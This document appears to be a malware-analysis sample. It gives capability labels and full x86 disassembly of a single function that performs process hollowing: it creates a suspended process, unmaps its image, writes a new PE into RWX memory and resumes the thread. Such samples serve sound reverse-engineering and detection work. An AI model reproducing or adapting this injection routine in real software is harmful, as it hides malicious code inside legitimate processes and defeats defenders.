Function at 0x4010ea
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Enumerate pe sections
Execute shellcode via indirect call
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
mov eax, dword [ebp + 0xc]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
xor edx, edx
mov dx, word [ecx]
cmp edx, 0x5a4d
jne 0x40131f
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 0xc]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
cmp dword [edx], 0x4550
jne 0x401319
push 0x44
push 0
lea eax, [ebp - 0x5c]
push eax
call fcn.00401590
add esp, 0xc
push 0x10
push 0
lea ecx, [ebp - 0x18]
push ecx
call fcn.00401590
add esp, 0xc
lea edx, [ebp - 0x18]
push edx
lea eax, [ebp - 0x5c]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x401313
push 4
push 0x1000
push 0x2cc
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x60], eax
mov edx, dword [ebp - 0x60]
mov dword [edx], 0x10007
mov eax, dword [ebp - 0x60]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x40130d
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x64], 0
push 0
push 4
lea edx, [ebp - 0x6c]
push edx
mov eax, dword [ebp - 0x60]
mov ecx, dword [eax + 0xa4]
add ecx, 8
push ecx
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push str.NtUnmapViewOfSection
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 0
jne 0x4011fe
xor eax, eax
jmp 0x401328
mov eax, dword [ebp - 0x6c]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
call dword [ebp - 0x64]
push 0x40
push 0x3000
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x50]
push eax
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 0x34]
push edx
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 0
je 0x401307
mov dword [ebp - 0x70], 0
push 0
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 0x54]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 0x68]
push ecx
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x70], 0
jmp 0x401269
mov eax, dword [ebp - 0x70]
add eax, 1
mov dword [ebp - 0x70], eax
mov ecx, dword [ebp - 8]
xor edx, edx
mov dx, word [ecx + 6]
cmp dword [ebp - 0x70], edx
jge 0x4012b9
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 0xc]
add ecx, dword [eax + 0x3c]
mov edx, dword [ebp - 0x70]
imul edx, edx, 0x28
lea eax, [ecx + edx + 0xf8]
mov dword [ebp - 0x74], eax
push 0
mov ecx, dword [ebp - 0x74]
mov edx, dword [ecx + 0x10]
push edx
mov eax, dword [ebp - 0x74]
mov ecx, dword [ebp + 0xc]
add ecx, dword [eax + 0x14]
push ecx
mov edx, dword [ebp - 0x74]
mov eax, dword [ebp - 0x68]
add eax, dword [edx + 0xc]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
jmp 0x401260
push 0
push 4
mov edx, dword [ebp - 8]
add edx, 0x34
push edx
mov eax, dword [ebp - 0x60]
mov ecx, dword [eax + 0xa4]
add ecx, 8
push ecx
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x68]
add ecx, dword [eax + 0x28]
mov edx, dword [ebp - 0x60]
mov dword [edx + 0xb0], ecx
mov eax, dword [ebp - 0x60]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
jmp 0x40130b
xor eax, eax
jmp 0x401328
jmp 0x401311
xor eax, eax
jmp 0x401328
jmp 0x401317
xor eax, eax
jmp 0x401328
jmp 0x40131d
xor eax, eax
jmp 0x401328
jmp 0x401323
xor eax, eax
jmp 0x401328
mov eax, 1
mov esp, ebp
pop ebp
ret